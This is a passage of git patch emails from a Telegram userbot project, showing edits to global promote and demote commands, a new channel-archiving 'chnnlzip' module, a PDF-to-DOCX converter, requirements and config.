@danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam -from ..utils import register, errors_handler -from ..utils import admin_cmd +# made by @danish_00 with sh1vam for DARKCOBRA USERBOT. JUST COPIED TO VIRTUALUSERBOT +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +marculs = 9 +from telethon.tl.functions.channels import EditAdminRequest +from telethon.tl.types import ChatAdminRights, MessageEntityMentionName + from fridaybot import bot as borg -async def get_full_user(event): - args = event.pattern_match.group(1).split(':', 1) + +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +from ..utils import admin_cmd + + +async def get_full_user(event): + args = event.pattern_match.group(1).split(":", 1) extra = None if event.reply_to_msg_id and not len(args) == 2: previous_message = await event.get_reply_message() @@ -34,21 +28,25 @@ async def get_full_user(event): return if event.message.entities is not None: probable_user_mention_entity = event.message.entities[0] - if isinstance(probable_user_mention_entity, - MessageEntityMentionName): + if isinstance(probable_user_mention_entity, MessageEntityMentionName): user_id = probable_user_mention_entity.user_id user_obj = await event.client.get_entity(user_id) return user_obj try: user_obj = await event.client.get_entity(user) except Exception as err: - return await event.edit("Error... Please report at @Dark_cobra_support_group", str(err)) + return await event.edit( + "Error... Please report at @Dark_cobra_support_group", str(err) + ) return user_obj, extra -#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam -global hawk,moth -hawk="admin" -moth="owner" + +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +global hawk, moth +hawk = "admin" +moth = "owner" + + async def get_user_from_id(user, event): if isinstance(user, str): user = int(user) @@ -58,11 +56,13 @@ async def get_user_from_id(user, event): await event.edit(str(err)) return None return user_obj + + @borg.on(admin_cmd(pattern="gpromote ?(.*)")) async def gben(userbot): dc = dark = userbot i = 0 - sender = await dc.get_sender() + await dc.get_sender() me = await userbot.client.get_me() await dark.edit("`promoting...`") my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) @@ -78,41 +78,46 @@ async def gben(userbot): except: pass if me == user: - k = await dark.edit("U want to promote urself 😑😑 waao..") - return + await dark.edit("U want to promote urself 😑😑 waao..") + return try: if not rank: rank = "ㅤㅤ" except: return await dark.edit(f"**Something W3NT Wrong 🤔**") if user: - telchanel = [d.entity.id - for d in await userbot.client.get_dialogs() - if (d.is_group or d.is_channel) - ] - rgt = ChatAdminRights(add_admins=False, - invite_users=True, - change_info=False, - ban_users=True, - delete_messages=True, - pin_messages=True) + telchanel = [ + d.entity.id + for d in await userbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + rgt = ChatAdminRights( + add_admins=False, + invite_users=True, + change_info=False, + ban_users=True, + delete_messages=True, + pin_messages=True, + ) for x in telchanel: - try: - await userbot.client(EditAdminRequest(x, user, rgt, rank)) - i += 1 - await dark.edit(f"**Promoted in Chats **: `{i}`") - except: - pass + try: + await userbot.client(EditAdminRequest(x, user, rgt, rank)) + i += 1 + await dark.edit(f"**Promoted in Chats **: `{i}`") + except: + pass else: await dark.edit(f"**Reply to a user you dumbo !!**") return await dark.edit( f"**Globally promoted [{user.first_name}](tg://user?id={user.id})\n On Chats😏 : {i} **" ) + + @borg.on(admin_cmd(pattern="gdemote ?(.*)")) async def gben(userbot): dc = dark = userbot i = 0 - sender = await dc.get_sender() + await dc.get_sender() me = await userbot.client.get_me() await dark.edit("`demoting...`") my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) @@ -128,34 +133,39 @@ async def gben(userbot): except: pass if me == user: - k = await dark.edit("U want to demote urself 😑😑 waao..") - return + await dark.edit("U want to demote urself 😑😑 waao..") + return try: if not rank: rank = "ㅤㅤ" except: return await dark.edit(f"**Something W3NT Wrong 🤔**") if user: - telchanel = [d.entity.id - for d in await userbot.client.get_dialogs() - if (d.is_group or d.is_channel) - ] - rgt = ChatAdminRights(add_admins=None, - invite_users=None, - change_info=None, - ban_users=None, - delete_messages=None, - pin_messages=None) + telchanel = [ + d.entity.id + for d in await userbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + rgt = ChatAdminRights( + add_admins=None, + invite_users=None, + change_info=None, + ban_users=None, + delete_messages=None, + pin_messages=None, + ) for x in telchanel: - try: - await userbot.client(EditAdminRequest(x, user, rgt, rank)) - i += 1 - await dark.edit(f"**Demoted in Chats **: `{i}`") - except: - pass + try: + await userbot.client(EditAdminRequest(x, user, rgt, rank)) + i += 1 + await dark.edit(f"**Demoted in Chats **: `{i}`") + except: + pass else: await dark.edit(f"**Reply to a user you dumbo !!**") return await dark.edit( f"**Globally Demoted [{user.first_name}](tg://user?id={user.id})\n On Chats😏 : {i} **" ) -#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam + + +# made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam From f2f2616b83d49f0407b80f810d51a4f140424383 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 08:54:20 +0530 Subject: [PATCH 680/838] Create channel_zipper.py --- fridaybot/modules/channel_zipper.py | 65 +++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 fridaybot/modules/channel_zipper.py diff --git a/fridaybot/modules/channel_zipper.py b/fridaybot/modules/channel_zipper.py new file mode 100644 index 00000000..b7a79eea --- /dev/null +++ b/fridaybot/modules/channel_zipper.py @@ -0,0 +1,65 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import shutil +import os +import uuid +from fridaybot.utils import friday_on_cmd + + +@friday.on(friday_on_cmd(pattern="chnnlzip(?: |$)(.*)")) +async def starky(event): + un = event.pattern_match.group(1) + rndm = uuid.uuid4().hex + dir = f"./{rndm}/" + media_count = 0 + text_count = 0 + os.makedirs(dir) + if un: + chnnl = un + else: + chnnl = event.chat_id + await event.edit(f"**Fetching All Files From This Channel**") + try: + chnnl_msgs = await borg.get_messages(chnnl, limit=3000) + except: + await event.edit("**Unable To fetch Messages !** \n`Please, Check Channel Details And IF THere Are Any Media :/`") + return + total = int(chnnl_msgs.total) + await event.edit(f"**Downloading {total} Media/Messages**") + for d in chnnl_msgs: + if d.media: + media_count += 1 + await borg.download_media(d.media, dir) + if d.text: + text_count += 1 + f = open(f"{dir}{chnnl}.txt", "a") + f.write(f"{d.raw_text} \n\n") + await event.edit(f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Now Zipping Files.**") + shutil.make_archive(f"{chnnl}", "zip", dir) + tf = await event.edit(f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Uploading Zip**") + await borg.send_file(event.chat_id, f"{chnnl}.zip", caption=f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}`") + await tf.delete() + os.remove(f"{chnnl}.zip") + shutil.rmtree(dir) + + + + +CMD_HELP.update( + { + "channel_zipper": "**Channel Zipper**\ +\n\n**Syntax : **`.chnnlzip `\ +\n**Usage :** Zips All The Files/images/messages in the channel." + } +) From fd69e738e1b0b3853a5b0d5a7ad3fe1d9f6f7a54 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 03:25:08 +0000 Subject: [PATCH 681/838] pylint: auto fixes --- fridaybot/modules/channel_zipper.py | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/channel_zipper.py b/fridaybot/modules/channel_zipper.py index b7a79eea..f1af0a2a 100644 --- a/fridaybot/modules/channel_zipper.py +++ b/fridaybot/modules/channel_zipper.py @@ -11,9 +11,10 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -import shutil import os +import shutil import uuid + from fridaybot.utils import friday_on_cmd @@ -33,7 +34,9 @@ async def starky(event): try: chnnl_msgs = await borg.get_messages(chnnl, limit=3000) except: - await event.edit("**Unable To fetch Messages !** \n`Please, Check Channel Details And IF THere Are Any Media :/`") + await event.edit( + "**Unable To fetch Messages !** \n`Please, Check Channel Details And IF THere Are Any Media :/`" + ) return total = int(chnnl_msgs.total) await event.edit(f"**Downloading {total} Media/Messages**") @@ -45,15 +48,21 @@ async def starky(event): text_count += 1 f = open(f"{dir}{chnnl}.txt", "a") f.write(f"{d.raw_text} \n\n") - await event.edit(f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Now Zipping Files.**") + await event.edit( + f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Now Zipping Files.**" + ) shutil.make_archive(f"{chnnl}", "zip", dir) - tf = await event.edit(f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Uploading Zip**") - await borg.send_file(event.chat_id, f"{chnnl}.zip", caption=f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}`") + tf = await event.edit( + f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}` \n**Uploading Zip**" + ) + await borg.send_file( + event.chat_id, + f"{chnnl}.zip", + caption=f"**Total Media :** `{total}` \n**Downloaded Media :** `{media_count}` \n**Total Texts Appended :** `{text_count}`", + ) await tf.delete() os.remove(f"{chnnl}.zip") shutil.rmtree(dir) - - CMD_HELP.update( From 50b6e806902b9006602d0d64b43fee00c65cfdda Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 08:58:52 +0530 Subject: [PATCH 682/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 889b90ac..16ee886e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -11,7 +11,7 @@ PyGithub pytesseract youtube-dl opencv-contrib-python -telethon>=1.17 +telethon>=1.19 iplookup wget numpy From 34bd70d48453a8e486750ab8d6dbc3726ce91111 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 09:13:36 +0530 Subject: [PATCH 683/838] Update channel_zipper.py --- fridaybot/modules/channel_zipper.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/channel_zipper.py b/fridaybot/modules/channel_zipper.py index f1af0a2a..1761db5a 100644 --- a/fridaybot/modules/channel_zipper.py +++ b/fridaybot/modules/channel_zipper.py @@ -16,7 +16,7 @@ import uuid from fridaybot.utils import friday_on_cmd - +from fridaybot import CMD_HELP @friday.on(friday_on_cmd(pattern="chnnlzip(?: |$)(.*)")) async def starky(event): From 32e0a05f33ad5b4a9597794708e74fa03a8e77ab Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 03:44:29 +0000 Subject: [PATCH 684/838] pylint: auto fixes --- fridaybot/modules/channel_zipper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/channel_zipper.py b/fridaybot/modules/channel_zipper.py index 1761db5a..c364e7cb 100644 --- a/fridaybot/modules/channel_zipper.py +++ b/fridaybot/modules/channel_zipper.py @@ -15,8 +15,9 @@ import shutil import uuid -from fridaybot.utils import friday_on_cmd from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd + @friday.on(friday_on_cmd(pattern="chnnlzip(?: |$)(.*)")) async def starky(event): From 1278fa6c4784cb7c35cc760b6ed873bff0d7f7e4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 10:26:45 +0530 Subject: [PATCH 685/838] telethon latest running --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 16ee886e..0b95f797 100644 --- a/requirements.txt +++ b/requirements.txt @@ -11,7 +11,7 @@ PyGithub pytesseract youtube-dl opencv-contrib-python -telethon>=1.19 +telethon iplookup wget numpy From a28a2015915d6c636f6c11f64e01d2dcb769405f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 10:28:10 +0530 Subject: [PATCH 686/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 9513022c..e9dbf94a 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -145,6 +145,7 @@ class Config(object): PM_DATA = os.environ.get("PM_DATA", "ENABLE") DEEP_AI = os.environ.get("DEEP_AI", None) TAG_LOG = os.environ.get("TAG_LOG", None) + DEEZER_ARL_TOKEN = os.environ.get("DEEZER_ARL_TOKEN", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") EMOJI_TO_DISPLAY_IN_HELP = os.environ.get("EMOJI_TO_DISPLAY_IN_HELP", "🔥") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") From aa08176a88a98be1a8db4134da3a020cdf3010b8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 10:30:08 +0530 Subject: [PATCH 687/838] Update requirements.txt --- requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 0b95f797..b9bfdf08 100644 --- a/requirements.txt +++ b/requirements.txt @@ -61,7 +61,7 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search -youtube-search-python==1.3.5 +youtube-search-python covid scapy scipy @@ -95,6 +95,7 @@ emoji-country-flag langdetect fontTools googletrans +deezer-python pdf2docx beautifulsoup4 bs4 From 3c20b2dbcba89040faf9e25d2926cff99e42cf5f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 11:44:15 +0530 Subject: [PATCH 688/838] Update pdf2docx.py --- fridaybot/modules/pdf2docx.py | 44 ++++++++++++++++++++--------------- 1 file changed, 25 insertions(+), 19 deletions(-) diff --git a/fridaybot/modules/pdf2docx.py b/fridaybot/modules/pdf2docx.py index 10cf1a4c..7786d8fa 100644 --- a/fridaybot/modules/pdf2docx.py +++ b/fridaybot/modules/pdf2docx.py @@ -1,45 +1,51 @@ +import asyncio import os - -from pdf2docx import parse - +import time +import time as t +import zipfile +from datetime import datetime +import shutil from fridaybot import CMD_HELP +from fridaybot.function import convert_to_image, crop_vid, runcmd from fridaybot.utils import friday_on_cmd, sudo_cmd +from pdf2docx import parse +import glob +import string +import random +import uuid -if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): - os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) +if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + @friday.on(friday_on_cmd(pattern=r"pdf2docx")) -@friday.on(sudo_cmd(pattern=r"pdf2docx", allow_sudo=True)) async def hmm(event): if not event.reply_to_msg_id: - await event.reply("Reply to any Pdf File.") + await event.edit("Reply to any Pdf File.") return - await event.reply("hmm... Please Wait...🚶") + hmmu = await event.edit("hmm... Please Wait...🚶") lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - - await event.reply("hmm... Please Wait...🚶") - + hmmu = await event.edit("hmm... Please Wait..") pdf_file = starky - docx_file = "./fridaybot/DOWNLOADS/FRIDAYOT.docx" - + docx_file = './fridaybot/DOWNLOADS/FRIDAYOT.docx' parse(pdf_file, docx_file, start=0, end=None) - await borg.send_file( - event.chat_id, - docx_file, - caption=f"*PDF Converted Into Docx by VirtualUserbot. Special thanks to @FRIDAYOT.", + event.chat_id, docx_file, caption=f"*PDF Converted Into Docx by Friday bot. Get your Friday From @FRIDAYOT." ) os.remove(pdf_file) os.remove(docx_file) await event.delete() + + CMD_HELP.update( { "fileTools": "**File Tools**\ \n\n**Syntax : **`.pdf2docx `\ -\n**Usage :** Converts Given Pdf Into Docx." +\n**Usage :** Converts Given Pdf Into Docx.\ +\n\n**Syntax : **`.p2dcl `\ +\n**Usage :** Converts All The Pdf's From Channel Into Docx." } -) From fb9b624bd8661db6082f023f07e76d1fe0ff499b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 11:44:29 +0530 Subject: [PATCH 689/838] oops --- fridaybot/modules/pdf2docx.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/pdf2docx.py b/fridaybot/modules/pdf2docx.py index 7786d8fa..9f757e59 100644 --- a/fridaybot/modules/pdf2docx.py +++ b/fridaybot/modules/pdf2docx.py @@ -49,3 +49,4 @@ async def hmm(event): \n\n**Syntax : **`.p2dcl `\ \n**Usage :** Converts All The Pdf's From Channel Into Docx." } +) From 29ed1c0fc3d24840c44acdca0b7567d37a5dd0ef Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:15:15 +0000 Subject: [PATCH 690/838] pylint: auto fixes --- fridaybot/modules/pdf2docx.py | 34 ++++++++++++---------------------- 1 file changed, 12 insertions(+), 22 deletions(-) diff --git a/fridaybot/modules/pdf2docx.py b/fridaybot/modules/pdf2docx.py index 9f757e59..2cdec418 100644 --- a/fridaybot/modules/pdf2docx.py +++ b/fridaybot/modules/pdf2docx.py @@ -1,46 +1,36 @@ -import asyncio import os -import time -import time as t -import zipfile -from datetime import datetime -import shutil -from fridaybot import CMD_HELP -from fridaybot.function import convert_to_image, crop_vid, runcmd -from fridaybot.utils import friday_on_cmd, sudo_cmd -from pdf2docx import parse -import glob -import string -import random -import uuid +from pdf2docx import parse +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): - os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) - + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + + @friday.on(friday_on_cmd(pattern=r"pdf2docx")) async def hmm(event): if not event.reply_to_msg_id: await event.edit("Reply to any Pdf File.") return - hmmu = await event.edit("hmm... Please Wait...🚶") + await event.edit("hmm... Please Wait...🚶") lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - hmmu = await event.edit("hmm... Please Wait..") + await event.edit("hmm... Please Wait..") pdf_file = starky - docx_file = './fridaybot/DOWNLOADS/FRIDAYOT.docx' + docx_file = "./fridaybot/DOWNLOADS/FRIDAYOT.docx" parse(pdf_file, docx_file, start=0, end=None) await borg.send_file( - event.chat_id, docx_file, caption=f"*PDF Converted Into Docx by Friday bot. Get your Friday From @FRIDAYOT." + event.chat_id, + docx_file, + caption=f"*PDF Converted Into Docx by Friday bot. Get your Friday From @FRIDAYOT.", ) os.remove(pdf_file) os.remove(docx_file) await event.delete() - - CMD_HELP.update( { "fileTools": "**File Tools**\ From f169dbfe2e85591d0bcb593000e106a4772f054a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 11:45:47 +0530 Subject: [PATCH 691/838] Update pdf2docx.py --- fridaybot/modules/pdf2docx.py | 34 ++++++++++++++++++++++------------ 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/fridaybot/modules/pdf2docx.py b/fridaybot/modules/pdf2docx.py index 2cdec418..eef54808 100644 --- a/fridaybot/modules/pdf2docx.py +++ b/fridaybot/modules/pdf2docx.py @@ -1,36 +1,46 @@ +import asyncio import os - -from pdf2docx import parse - +import time +import time as t +import zipfile +from datetime import datetime +import shutil from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from fridaybot.function import convert_to_image, crop_vid, runcmd +from fridaybot.utils import friday_on_cmd, sudo_cmd +from pdf2docx import parse +import glob +import string +import random +import uuid -if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): - os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) +if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + @friday.on(friday_on_cmd(pattern=r"pdf2docx")) async def hmm(event): if not event.reply_to_msg_id: await event.edit("Reply to any Pdf File.") return - await event.edit("hmm... Please Wait...🚶") + hmmu = await event.edit("hmm... Please Wait...🚶") lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - await event.edit("hmm... Please Wait..") + hmmu = await event.edit("hmm... Please Wait..") pdf_file = starky - docx_file = "./fridaybot/DOWNLOADS/FRIDAYOT.docx" + docx_file = './fridaybot/DOWNLOADS/Infinity_Bots.docx' parse(pdf_file, docx_file, start=0, end=None) await borg.send_file( - event.chat_id, - docx_file, - caption=f"*PDF Converted Into Docx by Friday bot. Get your Friday From @FRIDAYOT.", + event.chat_id, docx_file, caption=f"*PDF Converted Into Docx by VirtualUserbot. Credits to @FRIDAYOT." ) os.remove(pdf_file) os.remove(docx_file) await event.delete() + + CMD_HELP.update( { "fileTools": "**File Tools**\ From cce5ca06165cbc06fa0fe1f0842c30cfa696944c Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:16:29 +0000 Subject: [PATCH 692/838] pylint: auto fixes --- fridaybot/modules/pdf2docx.py | 34 ++++++++++++---------------------- 1 file changed, 12 insertions(+), 22 deletions(-) diff --git a/fridaybot/modules/pdf2docx.py b/fridaybot/modules/pdf2docx.py index eef54808..2fe77d65 100644 --- a/fridaybot/modules/pdf2docx.py +++ b/fridaybot/modules/pdf2docx.py @@ -1,46 +1,36 @@ -import asyncio import os -import time -import time as t -import zipfile -from datetime import datetime -import shutil -from fridaybot import CMD_HELP -from fridaybot.function import convert_to_image, crop_vid, runcmd -from fridaybot.utils import friday_on_cmd, sudo_cmd -from pdf2docx import parse -import glob -import string -import random -import uuid +from pdf2docx import parse +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): - os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) - + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + + @friday.on(friday_on_cmd(pattern=r"pdf2docx")) async def hmm(event): if not event.reply_to_msg_id: await event.edit("Reply to any Pdf File.") return - hmmu = await event.edit("hmm... Please Wait...🚶") + await event.edit("hmm... Please Wait...🚶") lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - hmmu = await event.edit("hmm... Please Wait..") + await event.edit("hmm... Please Wait..") pdf_file = starky - docx_file = './fridaybot/DOWNLOADS/Infinity_Bots.docx' + docx_file = "./fridaybot/DOWNLOADS/Infinity_Bots.docx" parse(pdf_file, docx_file, start=0, end=None) await borg.send_file( - event.chat_id, docx_file, caption=f"*PDF Converted Into Docx by VirtualUserbot. Credits to @FRIDAYOT." + event.chat_id, + docx_file, + caption=f"*PDF Converted Into Docx by VirtualUserbot. Credits to @FRIDAYOT.", ) os.remove(pdf_file) os.remove(docx_file) await event.delete() - - CMD_HELP.update( { "fileTools": "**File Tools**\ From e27d300a561c28c20fcc09ce3c61bdf42dc346e4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 